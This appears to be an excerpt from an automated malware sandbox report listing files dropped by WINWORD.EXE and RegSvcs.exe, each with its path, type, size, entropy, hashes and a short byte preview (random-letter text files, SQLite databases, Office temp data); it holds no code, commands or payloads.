SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\tmp6E41.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\Temp\tmp6E51.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Local\Temp\tmp6E62.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\tmp6E73.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\tmp780F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp784E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8D7D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8D8E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8DAE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 24, database pages 5, cookie 0xf, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3870145383915669
Encrypted:	false
SSDEEP:	48:TBLOpEO5J/Kd7UEvqckQaKgj5EZwx1wayEgd7kKK9LeYyBlIAO/tXK:hNw0CKaKfu1wai6LeYzN/9K
MD5:	1623709C6B2FB813984B1265C26A85F1
SHA1:	CCE4DDBE93E97E68359CB6FD71242F796A785F86
SHA-256:	88BCF762A75F085ECD3B12EB2BA81B81A7F8C9CDDDD4DED624BA28566EB7EEAA
SHA-512:	6D2E23E4E0D1D912AF3426129F7DE490F23326F6179EEC27AFE28C438CA37493AEA775E62755C76D6A8850DB6D6E70F0D0A8D396A35E869F4BF0F761CDD507D8
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-........#..k...#.<....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8DCE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 24, database pages 5, cookie 0xf, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3870145383915669
Encrypted:	false
SSDEEP:	48:TBLOpEO5J/Kd7UEvqckQaKgj5EZwx1wayEgd7kKK9LeYyBlIAO/tXK:hNw0CKaKfu1wai6LeYzN/9K
MD5:	1623709C6B2FB813984B1265C26A85F1
SHA1:	CCE4DDBE93E97E68359CB6FD71242F796A785F86
SHA-256:	88BCF762A75F085ECD3B12EB2BA81B81A7F8C9CDDDD4DED624BA28566EB7EEAA
SHA-512:	6D2E23E4E0D1D912AF3426129F7DE490F23326F6179EEC27AFE28C438CA37493AEA775E62755C76D6A8850DB6D6E70F0D0A8D396A35E869F4BF0F761CDD507D8
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-........#..k...#.<....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9D43.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA8B5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\Temp\tmpB2B0.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB2E0.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD7E3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD804.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpED42.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpED81.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{E315BBDF-4C93-4863-999F-4DC1F5EB3501}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02574218694590596
Encrypted:	false
SSDEEP:	6:I3DPc91g0VvxggLRxk1/fxlHH4dRXv//4tfnRujlw//+GtluJ/eRuj:I3DPs1NZC1nx5HmvYg3J/
MD5:	2F5BD867B5F59EAAE3CA96DBBD1A7376
SHA1:	8C2ABE7614CC0E63698ACCD8E9083C776AD5D523
SHA-256:	10BE461A5B839C7734E97D90C328E00E4599AC477D63D371F4B91FD303C263C3
SHA-512:	E774F8EAFCAE56694E88AE70F00D21983073D3FAF9F8435B3837157B54091569F2C9911384B8E1B775B661968BC528DD79A2B81F4539A876F666DE696F084ABC
Malicious:	false
Preview:	......M.eFy...z...[N..H.s...L.S,...X.F...Fa.q............................&}...#O.UO.j.............L.6@..J.........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{F371F1E3-8FDD-461C-ACEF-6DD7BA0E71BD}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02559397892310002
Encrypted:	false
SSDEEP:	6:I3DPceLHvxggLR5JIKhXXp3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPDP3IevvYg3J/
MD5:	23C6F7F7AE393C7FDA60682B00E275DE
SHA1:	6FDD830D013C8B18D1E387C44265048AB90D5A1F
SHA-256:	3757852072EF5F775973D6140983EB9BE23DD25202E6389F2DCFFF80D0550029
SHA-512:	D247B00A5ED487ADC737CCCCB26916365D2C01C5A00D2400080915635C0466732FBD35C32522BA285FA280EA1269553A567F7B64B1A31E7AD96E6F08237F7606
Malicious:	false
